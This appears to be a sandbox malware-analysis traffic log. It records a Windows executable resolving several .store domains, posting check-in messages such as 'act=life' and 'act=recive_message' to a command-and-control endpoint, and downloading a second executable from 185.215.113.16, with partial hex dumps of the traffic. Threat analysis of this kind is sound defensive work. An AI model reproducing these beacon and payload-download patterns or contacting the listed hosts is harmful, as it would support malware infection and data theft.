Oct 28, 2024 20:50:27.618462086 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.618462086 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.618477106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618525028 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.625957966 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.683572054 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:29.492379904 CET	52257	80	192.168.2.5	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 20:50:07.292480946 CET	58655	53	192.168.2.5	1.1.1.1
Oct 28, 2024 20:50:08.288325071 CET	58655	53	192.168.2.5	1.1.1.1
Oct 28, 2024 20:50:08.352641106 CET	53	58655	1.1.1.1	192.168.2.5
Oct 28, 2024 20:50:08.355521917 CET	53	58655	1.1.1.1	192.168.2.5
Oct 28, 2024 20:50:08.979185104 CET	54497	53	192.168.2.5	1.1.1.1
Oct 28, 2024 20:50:08.988820076 CET	53	54497	1.1.1.1	192.168.2.5
Oct 28, 2024 20:50:08.992050886 CET	63543	53	192.168.2.5	1.1.1.1
Oct 28, 2024 20:50:09.001682997 CET	53	63543	1.1.1.1	192.168.2.5
Oct 28, 2024 20:50:09.003453970 CET	61513	53	192.168.2.5	1.1.1.1
Oct 28, 2024 20:50:09.014767885 CET	53	61513	1.1.1.1	192.168.2.5
Oct 28, 2024 20:50:09.025820017 CET	57592	53	192.168.2.5	1.1.1.1
Oct 28, 2024 20:50:09.049804926 CET	53	57592	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 20:50:07.292480946 CET	192.168.2.5	1.1.1.1	0xab49	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 20:50:08.288325071 CET	192.168.2.5	1.1.1.1	0xab49	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 20:50:08.979185104 CET	192.168.2.5	1.1.1.1	0xbed7	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 20:50:08.992050886 CET	192.168.2.5	1.1.1.1	0x3f9	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 20:50:09.003453970 CET	192.168.2.5	1.1.1.1	0x891b	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 20:50:09.025820017 CET	192.168.2.5	1.1.1.1	0xb82d	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 20:50:08.355521917 CET	1.1.1.1	192.168.2.5	0xab49	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 20:50:08.988820076 CET	1.1.1.1	192.168.2.5	0xbed7	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 20:50:09.001682997 CET	1.1.1.1	192.168.2.5	0x3f9	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 20:50:09.014767885 CET	1.1.1.1	192.168.2.5	0x891b	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 20:50:09.049804926 CET	1.1.1.1	192.168.2.5	0xb82d	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 20:50:09.049804926 CET	1.1.1.1	192.168.2.5	0xb82d	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

necklacedmny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	52257	185.215.113.16	80	4952	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 20:50:22.990432978 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 28, 2024 20:50:23.891247034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 19:50:23 GMT Content-Type: application/octet-stream Content-Length: 2764800 Last-Modified: Mon, 28 Oct 2024 18:40:06 GMT Connection: keep-alive ETag: "671fda86-2a3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 59 96 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ Y`Ui` @ @.rsrc`2@.idata 8@fpzmwmlj)):@oxclcnlz *@.taggant@"*@
Oct 28, 2024 20:50:23.891273975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 20:50:23.891289949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 20:50:23.891304970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 20:50:23.891331911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 20:50:23.891349077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 20:50:23.891366959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 20:50:23.891382933 CET	1236	IN	Data Raw: b5 79 88 f9 8d d6 89 be 16 c5 87 36 07 fb e4 e8 b2 12 ef d8 73 b0 db 98 42 8b bd b7 dc 10 4e ce 6e fd 33 5d d8 ee 0e 19 bf 46 c5 ee e7 b4 79 b9 23 8c a9 e8 5f 7f 7c b4 15 ae 86 b2 25 84 40 cb 27 77 99 f8 8d 82 95 10 72 9b a8 ae 03 95 86 49 50 5e Data Ascii: y6sBNn3]Fy#_\|%@'wrIP^3~.o-}vz~y*YVZ1gp}jDcNnnc%(5_r!\|(5wu6"n(?Bm5&wCvY:
Oct 28, 2024 20:50:23.891398907 CET	1236	IN	Data Raw: a2 7a 9f 0e ca 7a a3 da b2 65 28 ef 0c 9d 9d 67 54 a5 99 f2 85 b0 bb d7 43 02 c4 fe 29 bd 93 f9 53 a5 d3 d8 b5 dd d7 fb ba 70 15 77 2a 7a df f8 53 d9 9f 26 86 c1 ef ec 77 16 fa 32 52 9d fb cf 83 9e 33 53 0d f9 8c 80 2a fd ab f9 93 8e 13 47 9c 35 Data Ascii: zze(gTC)SpwzS&w2R3SG5#9z+l!$)v1^PTW[Q\ck;s-94y>-!f ,c#z"bqXkTsmE9*}`1
Oct 28, 2024 20:50:23.891423941 CET	1236	IN	Data Raw: 6b 97 98 ff 7f b5 9f cb 66 e2 4f f9 1e 61 8f 6d 19 70 a1 26 5a 8a c3 9f 0e d3 ce 17 79 55 f5 9c 70 a2 cd 29 18 f6 c1 bd a4 d4 74 cc 33 8f d4 8f 64 7d f3 08 0a e0 10 1b 24 6d fd 1a 75 d0 ef 53 9c 8a eb e7 25 d4 e3 01 1b 47 34 fa 91 2a b9 4a d7 63 Data Ascii: kfOamp&ZyUp)t3d}$muS%G4*Jc:YaLl6M6R,se.B"," y$.sks17o\rQ+FZm/"yF5z;vjfoqR$u8EB%c9
Oct 28, 2024 20:50:23.896847010 CET	1120	IN	Data Raw: 12 c2 68 a3 3c 91 7e d2 37 15 85 bd f0 71 c1 d9 07 8a 8d 39 08 91 df c6 04 a7 6b 1f 0b 82 6a ea 07 81 e5 04 55 8e 31 8c 87 56 7b 30 69 40 9d 67 53 3b f8 fd 6a df a7 b6 53 6f 91 0d 72 ce eb 04 02 dc e9 fb 77 d0 e0 a7 d4 9a 8a 89 c4 e4 ee 3b 74 55 Data Ascii: h<~7q9kjU1V{0i@gS;jSorw;tUx"xa/bB2>4T^Bl:w-}=ms#Z^rX&!zk=Cv0%h.V}(\N

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	52226	188.114.97.3	443	4952	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 19:50:09 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-28 19:50:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-28 19:50:10 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 19:50:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3iubsv3mkfq4icg0pnh7h8pvej; expires=Fri, 21 Feb 2025 13:36:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5TVWjTfwHvL4ZbZ1IQ9IY6fITjRc%2Fu%2BE%2FZ8NbJAvwPk6IZL8TBDsXABiBQhECtCYdQM4MqxnqRPpivslamnTEVZsmY5k1%2FWPJ1E8Y3tKblUfKuFH5QiynrFs5%2BxCotHcDGMJTMo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9d7407ff9de85b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1369&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=2059743&cwnd=37&unsent_bytes=0&cid=21a70fd25c71de03&ts=676&x=0"
2024-10-28 19:50:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-28 19:50:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	52227	188.114.97.3	443	4952	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 19:50:11 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-28 19:50:11 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-28 19:50:11 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 19:50:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8cnohpi0ut2561csih6p3t2j6j; expires=Fri, 21 Feb 2025 13:36:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eJBPcWoKy9rTNuwlr4n8lBtOFHitGvmgfrKMXCQZHC8MX4KXFc%2FMC5ZfIt6onPi0BEMWIqzYbqVF9yDjg9mc%2Btc5m3jgvpJDU%2BZlG7b90tHuh8bWtKFlnhUQXquphow31y%2FAjEM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9d740f8c172ca9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2229&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1266287&cwnd=250&unsent_bytes=0&cid=2a4c328a659e7d96&ts=476&x=0"
2024-10-28 19:50:11 UTC	354	IN	Data Raw: 31 64 37 36 0d 0a 32 5a 44 61 53 43 65 69 48 4e 38 75 75 43 31 54 4c 4f 6b 61 47 69 52 74 4d 2b 76 55 41 4b 44 79 72 45 37 4c 7a 65 45 31 53 59 4b 69 73 71 78 71 48 5a 59 77 2f 56 33 64 44 32 6c 59 6d 32 39 2f 43 45 39 53 6a 2f 59 36 78 70 50 41 50 61 37 68 77 30 4d 6b 6f 4f 50 32 75 79 52 55 78 7a 44 39 53 38 41 50 61 58 65 53 4f 48 39 4b 54 77 6e 4a 73 57 72 43 6b 38 41 73 71 71 61 4f 52 53 58 68 73 66 79 39 49 45 4c 42 65 4c 35 43 31 55 67 32 53 59 68 77 64 45 30 41 57 34 62 32 4c 49 4b 58 31 6d 7a 78 37 36 78 51 50 65 4f 55 38 61 6b 6a 42 64 38 77 70 41 7a 64 51 33 45 57 79 33 74 2f 52 67 46 56 6a 37 39 6f 79 4a 72 49 4c 61 2b 6e 6b 56 77 76 36 72 48 79 76 69 46 49 79 47 79 7a 53 4e 4a 44 4d 45 4f 49 4f 44 59 47 43 45 6e 4a 37 69 4b 52 6f 73 30 39 75 Data Ascii: 1d762ZDaSCeiHN8uuC1TLOkaGiRtM+vUAKDyrE7LzeE1SYKisqxqHZYw/V3dD2lYm29/CE9Sj/Y6xpPAPa7hw0MkoOP2uyRUxzD9S8APaXeSOH9KTwnJsWrCk8AsqqaORSXhsfy9IELBeL5C1Ug2SYhwdE0AW4b2LIKX1mzx76xQPeOU8akjBd8wpAzdQ3EWy3t/RgFVj79oyJrILa+nkVwv6rHyviFIyGyzSNJDMEOIODYGCEnJ7iKRos09u
2024-10-28 19:50:11 UTC	1369	IN	Data Raw: 7a 58 36 76 52 4e 46 45 4e 46 79 41 63 58 56 4c 44 31 79 44 75 57 48 43 6c 38 51 6d 70 71 57 48 57 69 62 6d 75 2f 4c 34 5a 41 58 48 5a 76 30 55 6d 6d 77 30 58 6f 78 30 62 67 51 31 45 5a 62 34 65 34 4b 58 77 6d 7a 78 37 34 74 53 4b 4f 4f 77 2f 62 73 69 54 74 4a 2b 72 30 72 58 53 69 4e 49 6a 6e 5a 79 52 52 31 62 68 37 42 68 79 35 76 48 4b 61 36 72 77 78 6c 72 35 36 4f 79 34 47 70 6b 7a 58 57 78 52 73 31 50 63 56 48 46 59 54 68 42 41 78 48 52 39 6d 62 44 6c 4d 38 6f 70 36 47 48 57 79 33 75 74 76 32 2b 49 45 58 48 64 4c 56 45 32 30 49 36 51 59 74 39 64 55 49 4a 58 59 69 7a 49 6f 7a 51 79 54 54 70 39 38 4e 35 4c 4f 4f 70 73 49 30 70 53 38 35 35 71 77 7a 46 41 53 67 4f 6a 48 51 34 48 6b 39 66 6a 4c 6c 77 77 34 4c 4c 49 72 75 6a 68 6c 45 6d 34 37 58 79 76 53 31 Data Ascii: zX6vRNFENFyAcXVLD1yDuWHCl8QmpqWHWibmu/L4ZAXHZv0Ummw0Xox0bgQ1EZb4e4KXwmzx74tSKOOw/bsiTtJ+r0rXSiNIjnZyRR1bh7Bhy5vHKa6rwxlr56Oy4GpkzXWxRs1PcVHFYThBAxHR9mbDlM8op6GHWy3utv2+IEXHdLVE20I6QYt9dUIJXYizIozQyTTp98N5LOOpsI0pS855qwzFASgOjHQ4Hk9fjLlww4LLIrujhlEm47XyvS1
2024-10-28 19:50:11 UTC	1369	IN	Data Raw: 77 7a 46 41 53 67 4f 6a 48 51 34 48 6b 39 64 67 4c 5a 70 79 4a 54 4f 4b 36 53 71 67 46 41 6f 37 62 7a 34 74 69 31 42 7a 48 65 77 53 74 70 49 4e 55 75 5a 66 58 46 4b 41 78 48 48 39 6d 58 61 30 4a 5a 73 68 71 69 56 56 41 54 6a 71 76 76 34 4e 51 76 5a 50 72 70 41 6d 68 64 78 53 59 35 77 63 30 41 48 55 5a 75 7a 62 4d 6d 52 78 43 71 6f 6f 6f 39 52 4b 2b 47 37 39 4c 51 71 51 73 64 73 72 30 6e 63 58 54 73 4f 78 54 68 2f 58 6b 38 4a 79 59 42 79 31 59 48 59 62 70 79 73 6a 56 6b 73 39 76 76 74 39 6a 4d 46 78 33 4c 39 46 4a 70 45 4d 55 4b 4d 63 48 35 43 42 31 36 47 76 33 44 44 6e 4d 41 2b 72 71 2b 4b 57 53 54 73 73 76 2b 2f 4a 30 37 4b 63 37 6c 4c 32 77 39 2f 44 6f 78 67 4f 42 35 50 5a 35 6d 37 62 75 79 62 77 69 58 70 73 4d 31 4f 61 2b 65 33 73 75 42 71 51 63 78 32 Data Ascii: wzFASgOjHQ4Hk9dgLZpyJTOK6SqgFAo7bz4ti1BzHewStpINUuZfXFKAxHH9mXa0JZshqiVVATjqvv4NQvZPrpAmhdxSY5wc0AHUZuzbMmRxCqooo9RK+G79LQqQsdsr0ncXTsOxTh/Xk8JyYBy1YHYbpysjVks9vvt9jMFx3L9FJpEMUKMcH5CB16Gv3DDnMA+rq+KWSTssv+/J07Kc7lL2w9/DoxgOB5PZ5m7buybwiXpsM1Oa+e3suBqQcx2
2024-10-28 19:50:11 UTC	1369	IN	Data Raw: 6f 30 53 6f 78 38 66 6b 6c 50 48 38 6d 78 65 6f 4c 49 6a 67 4f 4f 6d 73 46 32 45 61 43 6b 76 4b 46 71 51 73 77 2b 35 51 7a 57 54 44 31 47 68 48 35 78 53 67 56 59 67 72 70 70 78 70 7a 48 4b 61 2b 75 68 6c 49 71 35 4c 66 34 76 69 6c 47 7a 33 47 79 52 4a 6f 42 63 55 6d 54 4f 43 41 47 4b 6b 61 43 75 47 53 43 6a 34 41 31 36 61 69 50 46 33 4f 67 74 2f 75 2b 4c 45 44 4d 66 37 74 45 33 30 63 31 54 34 31 2b 65 30 6b 4c 56 49 69 35 5a 73 36 65 78 43 32 6f 6f 34 68 59 49 4f 58 37 76 50 67 74 58 59 41 6d 2f 58 33 5a 57 53 5a 65 68 7a 68 6e 43 42 59 52 6a 72 6f 69 6d 74 44 50 50 71 4f 6c 6a 56 49 6b 35 62 6a 39 76 79 64 44 7a 48 53 30 52 4e 78 41 4f 46 79 49 64 48 5a 42 41 56 32 48 75 32 6a 42 6e 59 35 69 36 61 69 62 46 33 4f 67 6c 2f 57 31 42 45 37 4d 65 66 31 54 6c Data Ascii: o0Sox8fklPH8mxeoLIjgOOmsF2EaCkvKFqQsw+5QzWTD1GhH5xSgVYgrppxpzHKa+uhlIq5Lf4vilGz3GyRJoBcUmTOCAGKkaCuGSCj4A16aiPF3Ogt/u+LEDMf7tE30c1T41+e0kLVIi5Zs6exC2oo4hYIOX7vPgtXYAm/X3ZWSZehzhnCBYRjroimtDPPqOljVIk5bj9vydDzHS0RNxAOFyIdHZBAV2Hu2jBnY5i6aibF3Ogl/W1BE7Mef1Tl
2024-10-28 19:50:11 UTC	1369	IN	Data Raw: 4c 66 32 41 47 56 78 47 2f 73 58 4c 53 6b 34 77 64 76 36 79 56 58 43 62 73 2b 2b 33 32 4d 77 58 48 63 76 30 55 6d 6b 6b 2b 52 34 68 33 65 55 38 44 58 49 79 2f 5a 38 4f 57 79 69 61 6a 72 34 56 52 4b 75 57 78 38 62 6b 67 54 4d 64 32 75 6b 2f 49 44 33 38 4f 6a 47 41 34 48 6b 39 34 6a 71 52 73 30 74 44 52 59 72 44 76 68 46 74 72 75 50 76 32 73 69 56 42 78 33 4b 37 53 64 78 43 4d 45 47 4b 65 48 64 43 42 46 69 50 74 32 2f 48 6e 63 6f 2b 6f 36 53 4d 57 79 4c 73 74 72 4c 32 61 6b 4c 59 50 75 55 4d 36 30 49 2f 51 49 78 75 4f 46 6c 42 53 4d 6d 78 62 6f 4c 49 6a 69 32 6c 6f 49 42 59 4b 4f 4f 36 2b 4b 6f 34 53 63 6c 32 75 45 44 52 51 54 64 63 6a 58 64 78 52 51 78 59 6a 72 35 75 79 4a 50 4a 62 4f 66 76 68 45 39 72 75 50 76 52 72 7a 70 49 67 47 48 7a 56 5a 70 49 50 51 Data Ascii: Lf2AGVxG/sXLSk4wdv6yVXCbs++32MwXHcv0Umkk+R4h3eU8DXIy/Z8OWyiajr4VRKuWx8bkgTMd2uk/ID38OjGA4Hk94jqRs0tDRYrDvhFtruPv2siVBx3K7SdxCMEGKeHdCBFiPt2/Hnco+o6SMWyLstrL2akLYPuUM60I/QIxuOFlBSMmxboLIji2loIBYKOO6+Ko4Scl2uEDRQTdcjXdxRQxYjr5uyJPJbOfvhE9ruPvRrzpIgGHzVZpIPQ
2024-10-28 19:50:11 UTC	1369	IN	Data Raw: 56 41 70 58 68 72 6c 72 79 35 54 47 4c 36 6d 72 68 31 41 75 34 37 66 35 76 79 6c 4b 78 48 65 7a 52 64 55 50 66 77 36 4d 59 44 67 65 54 33 43 53 74 57 37 50 30 4e 46 69 73 4f 2b 45 57 32 75 34 2b 2f 36 32 4c 30 58 4b 65 4c 6c 4a 33 45 55 30 54 6f 42 37 64 30 49 4a 56 59 61 32 61 63 75 52 79 43 6d 6a 70 49 56 61 4b 4f 61 39 73 76 5a 71 51 74 67 2b 35 51 7a 36 56 44 78 43 6a 44 68 6e 43 42 59 52 6a 72 6f 69 6d 74 44 46 49 4b 32 6f 67 31 6f 6f 36 4c 37 32 73 69 39 46 79 47 79 31 54 4e 31 64 49 30 36 43 66 58 52 46 44 31 57 50 76 32 54 42 6c 49 35 69 36 61 69 62 46 33 4f 67 6c 76 36 2f 41 30 4c 62 50 71 49 43 77 77 38 32 51 73 73 67 4f 45 63 45 57 34 61 37 59 63 53 54 78 53 6d 6a 72 6f 52 66 4a 76 4b 34 2f 62 63 75 52 63 39 34 75 30 33 56 53 54 5a 48 69 6e 42 Data Ascii: VApXhrlry5TGL6mrh1Au47f5vylKxHezRdUPfw6MYDgeT3CStW7P0NFisO+EW2u4+/62L0XKeLlJ3EU0ToB7d0IJVYa2acuRyCmjpIVaKOa9svZqQtg+5Qz6VDxCjDhnCBYRjroimtDFIK2og1oo6L72si9FyGy1TN1dI06CfXRFD1WPv2TBlI5i6aibF3Oglv6/A0LbPqICww82QssgOEcEW4a7YcSTxSmjroRfJvK4/bcuRc94u03VSTZHinB
2024-10-28 19:50:11 UTC	351	IN	Data Raw: 37 65 52 64 4d 69 58 33 69 75 2b 6f 4d 4d 5a 61 2b 2f 37 71 6f 46 71 54 4d 64 6c 72 46 72 58 58 7a 59 4f 74 44 59 34 58 6b 38 4a 79 59 4e 68 7a 4a 37 4a 4f 72 6a 69 70 45 45 68 35 36 76 31 72 79 55 46 6a 6a 36 37 44 49 49 63 66 77 36 50 61 54 67 65 58 77 50 53 34 7a 47 56 77 4a 77 7a 35 37 62 44 51 57 75 34 36 62 7a 34 4f 41 57 59 50 76 70 50 79 46 30 33 54 5a 31 37 50 33 67 78 64 70 4f 37 5a 4e 57 42 38 42 4b 75 74 59 35 52 50 50 48 33 35 37 73 6b 53 38 64 6f 2f 51 4b 61 51 48 45 57 73 6a 67 77 42 6a 41 66 79 61 34 69 6d 74 44 37 4c 36 65 68 68 45 45 36 72 5a 7a 6f 74 53 78 53 30 54 37 7a 44 4e 77 50 61 52 37 46 4f 48 78 58 54 77 6e 5a 35 44 6d 58 77 35 6c 38 2b 37 44 4e 54 6d 76 32 2b 36 72 71 5a 41 58 53 50 75 55 4d 6e 55 77 6a 58 49 31 37 62 6b 56 49 Data Ascii: 7eRdMiX3iu+oMMZa+/7qoFqTMdlrFrXXzYOtDY4Xk8JyYNhzJ7JOrjipEEh56v1ryUFjj67DIIcfw6PaTgeXwPS4zGVwJwz57bDQWu46bz4OAWYPvpPyF03TZ17P3gxdpO7ZNWB8BKutY5RPPH357skS8do/QKaQHEWsjgwBjAfya4imtD7L6ehhEE6rZzotSxS0T7zDNwPaR7FOHxXTwnZ5DmXw5l8+7DNTmv2+6rqZAXSPuUMnUwjXI17bkVI
2024-10-28 19:50:11 UTC	1369	IN	Data Raw: 32 36 66 36 0d 0a 46 69 73 4f 2b 56 46 33 4f 79 39 62 4b 71 61 68 32 41 4f 62 35 65 79 45 6b 79 57 49 67 2f 52 6e 67 4d 52 34 53 35 61 63 4f 75 38 41 4b 6b 72 6f 42 5a 61 64 47 74 2f 36 67 70 51 4d 64 41 67 30 4c 64 57 7a 5a 41 6a 58 67 34 43 45 39 65 79 65 35 62 67 74 69 4f 45 2b 66 76 6d 78 64 7a 6f 49 37 78 74 69 52 43 31 6d 2f 77 62 38 78 43 50 6b 57 4b 4f 44 59 47 43 52 48 52 35 69 79 43 6c 4e 39 73 38 66 2f 52 44 48 36 7a 37 4b 4c 71 4e 51 76 5a 50 71 73 4d 67 68 31 2f 44 70 6b 34 49 41 5a 49 58 34 53 33 59 63 79 54 33 44 36 76 72 4a 56 55 62 4e 36 46 30 37 55 68 53 63 31 78 74 6e 4c 6b 62 6a 78 46 68 33 56 33 54 54 46 76 6e 4c 56 73 7a 4a 66 59 50 65 6e 68 77 31 68 72 75 49 4b 79 38 47 70 36 6a 6a 36 6c 44 49 49 50 42 45 32 46 64 6e 39 51 48 68 79 Data Ascii: 26f6FisO+VF3Oy9bKqah2AOb5eyEkyWIg/RngMR4S5acOu8AKkroBZadGt/6gpQMdAg0LdWzZAjXg4CE9eye5bgtiOE+fvmxdzoI7xtiRC1m/wb8xCPkWKODYGCRHR5iyClN9s8f/RDH6z7KLqNQvZPqsMgh1/Dpk4IAZIX4S3YcyT3D6vrJVUbN6F07UhSc1xtnLkbjxFh3V3TTFvnLVszJfYPenhw1hruIKy8Gp6jj6lDIIPBE2Fdn9QHhy
